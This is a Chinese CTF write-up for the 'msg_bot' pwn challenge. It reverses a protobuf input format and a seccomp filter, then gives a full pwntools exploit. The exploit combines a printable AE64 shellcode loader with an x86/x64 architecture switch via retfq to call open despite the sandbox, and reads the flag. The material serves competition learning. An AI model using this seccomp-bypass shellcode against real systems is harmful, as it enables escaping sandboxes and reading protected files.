做了一天,我太菜了
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void *__fastcall sub_1389(double a1) { unsigned int v1; int v2; void *result;
v1 = time(0LL); srand(v1); setvbuf(stderr, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); isnan(a1); v2 = rand(); result = mmap((void *)(v2 % 0x7FFFFFFF), 0x1000uLL, 7, 34, -1, 0LL); dest = result; return result; }
|
申请了一块mmap地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| unsigned __int64 sub_164B() { unsigned __int64 v1; char buf[264]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("botmsg: "); v1 = read(0, buf, 0x100uLL); qword_4058 = sub_199E(0LL, v1, buf); if ( !qword_4058 ) { puts("format error."); exit(0); } if ( *(_QWORD *)(qword_4058 + 24) == 3735928559LL && *(_QWORD *)(qword_4058 + 32) == 195939070LL ) { puts("format checked."); } else if ( *(_QWORD *)(qword_4058 + 24) == 3235839725LL && *(_QWORD *)(qword_4058 + 32) == 4027448014LL ) { sub_15B2(*(_QWORD *)(qword_4058 + 48), (unsigned int)*(_QWORD *)(qword_4058 + 40)); sub_1461(); if ( *(_QWORD *)(qword_4058 + 40) <= 0xC7uLL && v1 <= 0xC7 ) { memcpy(dest, *(const void **)(qword_4058 + 48), *(_QWORD *)(qword_4058 + 40)); ((void (*)(void))dest)(); } } else { puts("nothing."); } return v3 - __readfsqword(0x28u); }
|
sub_199E就是解包函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| __int64 __fastcall sub_15B2(__int64 a1, unsigned int a2) { __int64 result; unsigned int v3; unsigned int i;
v3 = a2; if ( *(_BYTE *)(a2 - 1 + a1) == 10 ) { *(_BYTE *)(a2 - 1 + a1) = 0; v3 = a2 - 1; } for ( i = 0; ; ++i ) { result = i; if ( v3 <= i ) break; if ( *(char *)((int)i + a1) <= 31 || *(_BYTE *)((int)i + a1) == 127 ) { puts("Oops!"); exit(0); } } return result; }
|
可以给传入shellcode,但是要求在可见字符范围内。并且开了沙盒
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| unsigned __int64 sub_1461() { ...
v43 = __readfsqword(0x28u); v3 = 32; v4 = 0; v5 = 0; v6 = 0; v7 = 53; v8 = 0; v9 = 1; v10 = 0x40000000; v11 = 21; v12 = 0; v13 = 6; v14 = -1; v15 = 21; v16 = 5; v17 = 0; v18 = 0; v19 = 21; v20 = 4; v21 = 0; v22 = 1; v23 = 21; v24 = 3; v25 = 0; v26 = 5; v27 = 21; v28 = 2; v29 = 0; v30 = 37; v31 = 21; v32 = 1; v33 = 0; v34 = 231; v35 = 6; v36 = 0; v37 = 0; v38 = 0; v39 = 6; v40 = 0; v41 = 0; v42 = 2147418112; v1 = 10; v2 = &v3; prctl(38, 1LL, 0LL, 0LL, 0LL); prctl(22, 2LL, &v1); return v43 - __readfsqword(0x28u); }
|
然后执行shellcode。
分析
protobuf
首先是程序要求以protobuf格式进行输入。protobuf环境安装看我的这篇文章。接下来先逆向proto数据格式。不清楚怎么逆向的,可以先看Real返璞归真师傅的文章.
我们打开IDA-view视图,按ctrl+s,找到.data.rel.ro段。
在0x3C68偏移处可以看到proto名字叫msgbot,package名字是bot,一共3个字段。根据0x3C98处的指针跟进到字段表。
第一个字段是msgid,1是字段的id,3说明字段的label是none(同时说明syntax是3),第二个3说明字段的类型是int64,0x18说明这个字段在proto里面的偏移是0x18。以此类推。0xF的类型是bytes。于是就可得到bot.proto:
1 2 3 4 5 6 7 8 9
| syntax="proto3";
package bot;
message msgbot { int64 msgid=1; int64 msgsize=2; bytes msgcontent=3; }
|
用protoc --python_out=. bot.proto
生成python文件用来写脚本。
根据主逻辑里给出来的条件判断,写出前置脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * import bot_pb2 as pb from ae64 import AE64
context(os='linux', log_level='debug')
r = remote("challenge.yuanloo.com", 41741) r.recvuntil(b'botmsg')
msg = pb.msgbot() msg.msgid = 0xC0DEFEED msg.msgsize = 0xF00DFACE msg.msgcontent = b'?' print(len(msg.SerializeToString()))
|
沙盒
当传输的数据满足一定条件时,就能进到执行shellcode的路径,但是同时这条路上程序也开了个沙盒。这道题比较恶心的点是,沙盒是在分支里才开启的,需要输入特定的数据,用seccomp-tools没法直接dump出来,因为在终端没法直接输入不可见字节。也许用脚本或者其他方式能够dump出来,但是我不会,所以用了个比较蠢但是一定对的方法来看沙盒规则:根据伪代码自己写一个程序。其实如果对prctl熟悉的话,也许可以直接从伪代码看出来规则,但是我不熟悉,在网上查了很久才看懂prctl的用法,这里不展开。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| #include <errno.h> #include <linux/audit.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/seccomp.h> #include <linux/unistd.h> #include <stddef.h> #include <stdio.h> #include <sys/prctl.h> #include <unistd.h>
void install_filter() { struct sock_filter filter[] = { BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))), {0x35, 0, 1, 0x40000000}, {21, 0, 6, 0xFFFFFFFF}, {21, 5, 0, 0}, {21, 4, 0, 1}, {21, 3, 0, 5}, {21, 2, 0, 0x25}, {21, 1, 0, 0xe7}, BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL), BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])), .filter = filter, }; prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); prctl(PR_SET_SECCOMP, 2, &prog); };
int main() { printf("hey there!\n");
install_filter();
execve("/bin/sh", NULL, NULL); return 0; }
|
编译之后再用seccomp-tools导出沙盒规则,就好看了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $ seccomp-tools dump ./tmp hey there! line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0003 0002: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0009 0003: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0009 0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009 0005: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0009 0006: 0x15 0x02 0x00 0x00000025 if (A == alarm) goto 0009 0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
|
open被禁了,但是32位下的open调用号是5号,刚好是64位fstat的调用号,并且这个沙箱并没有限制架构,所以可以转成32位后调用open,再转回64位执行read和write。
shellcode(详细调试及手搓教程)
关掉alarm防止影响调试
sed -i s/alarm/isnan/g ./msg_bot
将程序中的alarm替换为isnan,isnan函数不会影响程序的流程,这样就不会被alarm影响调试了。
ae64和出现的问题
这道题还有个限制就是传进去的shellcode需要时可见字符,这里就需要用到一些工具来进行转换。可以用alpha3或者ae64,网上都有详细的介绍,我这里用的是ae64。
一般来说,要使用转架构的方式绕过沙盒,都需要一段可控地址的可执行内存,一般是使用mmap来获取,但是这个沙盒并没有给mmap。仔细观察发现执行shellcode的时候使以call rax
的方式进行跳转的,而我们的shellcode就写在一段可执行的mmap内存里。地址是随机生成的,但是都控制在了四个字节以内。这意味这,虽然地址我们不能直接获取,但是保证了一定是一个32位也可用的地址,所以在手搓shellcode的时候可以注意从rax中获取地址。
ae64可以将一段64位汇编的shellcode转成只有可见字符组成的shellcode。其本质功能是生成一段shellcode,它可以通过各种计算将我原本的shellcode还原出来到内存中,并跳转执行。但是在使用调试过程中发现两个问题。假如我的代码如下:
1 2 3 4 5 6 7
| push rax pop rsi xor eax, eax push 0x7a pop rdx xor edi, edi syscall
|
这很明显是一个read的系统调用。第一个问题可能是一个bug:ae64的shellcode执行完后,我的代码还原完毕,但是我发现我的syscall被还原成了不知道什么东西(punpckhdq那坨),导致这个read执行不成功。
解决方法是,在syscall之前写几个nop。猜测可能和一定倍数对齐有关,没有深入探究。
第二个问题是,原本存在rax中的内存地址,会被还原代码的shellcode给破坏掉。也就是说,等到执行我的代码的时候,push rax也获取不到mmap的地址了。
不过仔细观察可以发现这时候rsp刚好指向mmap出来的地址加上一定偏移。经过几次验证可以发现mmap的地址一定会以\x00结尾,并且rsp指向的这个地址和这块内存的基址偏移是固定的,所以我们就不需要push再pop了,直接pop rsi就可以了。
写一个shellcode loader
结合前面两个问题,我们可以写出这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| sc1 = ''' xor eax, eax push 0x96 pop rdx xor edi, edi pop rsi nop nop nop nop nop nop syscall '''
... msg.msgcontent = AE64().encode(shellcode, strategy='small') ...
|
诶对了,为什么我们要写这个read的syscall呢?因为程序还限制了传入的shellcode长度不能超过199。其实准确来说是184,因为还要算上protobuf前面的数据内容。想要把整个完整shellcode都用ae64打包成可见字符shellcode是不可能的,光是上面这段代码打包后的数据包总长度就达到了157字节,所以最好的方法就是先写一个shellcode loader,然后再传入真正orw的shellcode,这样既没有长度也没有可见字符的限制。
写一段32位的open系统调用
接下来我们要动调查看rsi是多少,我们接下来读入的第二段shellcode是从哪里开始读入的,rip下一步会从哪里开始执行,来确定接下来的shellcode该怎么写。pwndbg断点在mmap的地址可能会飞过去,所以我们断点在call rax
(0x17C9)前,再单步执行到syscall处。
此时rsi是0x*54,但是执行完syscall之后,rip会在0x*84(syscall占两个字节),能算出他们之间的偏移是0x30。所以传入下一段shellcode的时候要在payload前面加上一段0x30的padding。
retfq
上面提到我们需要转架构成32位后执行open函数,具体来说我们需要借助retf
这个汇编指令。网上有详细的介绍,但是我也是第一次遇到实际题目,所以还是写一下。retf
这个指令等价于
ip寄存器都很熟悉了,存放的时候retf结束后开始执行代码的地址。但是x86架构下的cs寄存器和8086里的用处已经不一样了。x86开始,cpu支持访问4G内存,CS寄存器作为代码段寄存器的意义已经不大了,在8086完成了它的使命之后,它被赋予了新的功能。对于retf这个指令来说,他可以控制我们需要切换的架构。cs为0x23的时候执行retf可以进入到32位模式,此时寄存器只有低32位可以使用,栈地址等也只能访问到32位地址。这也就是为什么我们需要一段32位地址的可执行内存来存放shellcode。cs为0x33的时候可以回到64位模式。
顺带一提,在8086中retf指令只是拿来转移cs段用的指令而已。
我们的间接可控地址现在在rsi寄存器里,别忘了这时候还是指向0x*54。所以我们需要将rsi加上一个值,让程序可以执行到后面的shellcode。这里我选择加0x3f,同时我在写payload的时候也会在这一段shellcode后面加上一些nop,这样就算我rsi跳到很后面了,我的代码也不会因执行不了而报错。因此,转架构可以写这样的代码:
1 2 3 4 5 6 7 8 9 10 11
| sc_to86 = ''' nop /*可去除*/ add rsi, 0x3f push 0x23 push rsi retfq '''
sc = b'a'*0x30 sc += asm(sc_to86, arch='amd64') sc = sc.ljust(0x40, b'\x90')
|
这里用的不是retf而是retfq,其中q只是限定了字大小而已,64位下采用retfq,32位下还是用retf。顺带一提,加上的那个0x3f并不能乱取,其中的0x30是为了跳过前面那些padding,剩下的0xf至少要保证能够跳过sc_to86这一段code。也就是说这个0xf可以更大,但是不能小到这段code都跳不过。ljust中的0x40要保证大于等于code中的0x3f。然后接下来就是写一段32位的open调用:
1 2 3 4 5 6 7 8 9 10 11 12
| sc_open = ''' add esi,0x1b0 mov esp, esi push 0 push 0x67616c66 mov ebx, esp xor ecx, ecx mov eax,5 int 0x80 '''
sc += asm(sc_open, arch='i386')
|
open在32位下的系统调用号是5。这里给esi又加上了一些偏移赋给了esp,这里是给系统调用开辟栈空间,一样是使用mmap的内存,一存多用。注意32的传参寄存器和64位不一样。
写一段64位的rw系统调用
首先需要先转换回64位,因为沙盒只开放了64位的read和write供我们使用。
1 2 3 4 5 6 7 8 9 10
| sc_to64 = ''' sub esi, 0x1b0 add esi, 0x28 push 0x33 push esi retf '''
sc += asm(sc_to64, arch='i386') sc = sc.ljust(0x68, b'\x90')
|
这里把之前当栈地址使用的esi寄存器还原,并加上一点偏移给到IP寄存器。这里同理,这里的0x28至少要保证跳过sc_open+sc_to64两段code。然后加一些nop来作为padding。下面就正常写rw的shellcode即可,这里我们需要一个地方来存放我们的flag,只要将rsi寄存器加上一点偏移就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| sc_rw = ''' add rsi, 0x50 mov rdi, 3 mov rdx, 0x60 xor rax, rax syscall
mov rdx, 0x60 mov rdi, 1 mov rax, 1 syscall '''
sc += asm(sc_rw, arch='amd64')
|
最后把sc发上去就能顺利打印出flag了。到此为止,这道题就结束了。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import * import bot_pb2 as pb from ae64 import AE64
context(os='linux', log_level='debug')
sc1 = ''' xor eax, eax push 0x96 pop rdx xor edi, edi pop rsi nop nop nop nop nop nop syscall '''
sc_to86 = ''' nop add rsi, 0x3f push 0x23 push rsi retfq ''' sc_open = ''' add esi,0x1b0 mov esp, esi push 0 push 0x67616c66 mov ebx, esp xor ecx, ecx mov eax,5 int 0x80 ''' sc_to64 = ''' sub esi, 0x1b0 add esi, 0x28 push 0x33 push esi retf ''' sc_rw = ''' add rsi, 0x50 mov rdi, 3 mov rdx, 0x60 xor rax, rax syscall
mov rdx, 0x60 mov rdi, 1 mov rax, 1 syscall '''
shellcode = asm(sc1, arch='amd64')
sc = b'a'*0x30 sc += asm(sc_to86, arch='amd64') sc = sc.ljust(0x40, b'\x90') sc += asm(sc_open, arch='i386') sc += asm(sc_to64, arch='i386') sc = sc.ljust(0x68, b'\x90') sc += asm(sc_rw, arch='amd64')
print(shellcode)
r = process('./msg_bot')
r.recvuntil(b'botmsg')
msg = pb.msgbot() msg.msgid = 0xC0DEFEED msg.msgsize = 0xF00DFACE msg.msgcontent = AE64().encode(shellcode, strategy='small') print(len(msg.SerializeToString()))
r.send(msg.SerializeToString())
r.send(sc)
r.interactive()
|
总结
WP看着短,实际因为本人平时shellcode练习太少,这道题花了差不多一天才浑浑噩噩地做出来。我也不知道哪里来的毅力和意志,能为了一道题花了几乎一整个白天肝了出来。从一开始毫无思路、工具调不对、思路错误、因为没有mmap调用而红温、数据包长度不对、shellcode执行报错、这样那样的各种问题,到能坚持到打通拿到flag,真是觉得不可思议(而且此时其他题并还没有ak,只是看到了protobuf就来做做了)。不过确实算是一个很宝贵的经验,学到了很多之前没接触过的shellcode思路和绕过方法,也告诉了我自己的薄弱点在哪里。一开始不理解为什么前9个大佬为什么能这么快就做出来,做出来才发现其实不难,重要的是经验,真到大型赛事的时候,不可能有这么多时间给我来像这样一点点推演的。
还得练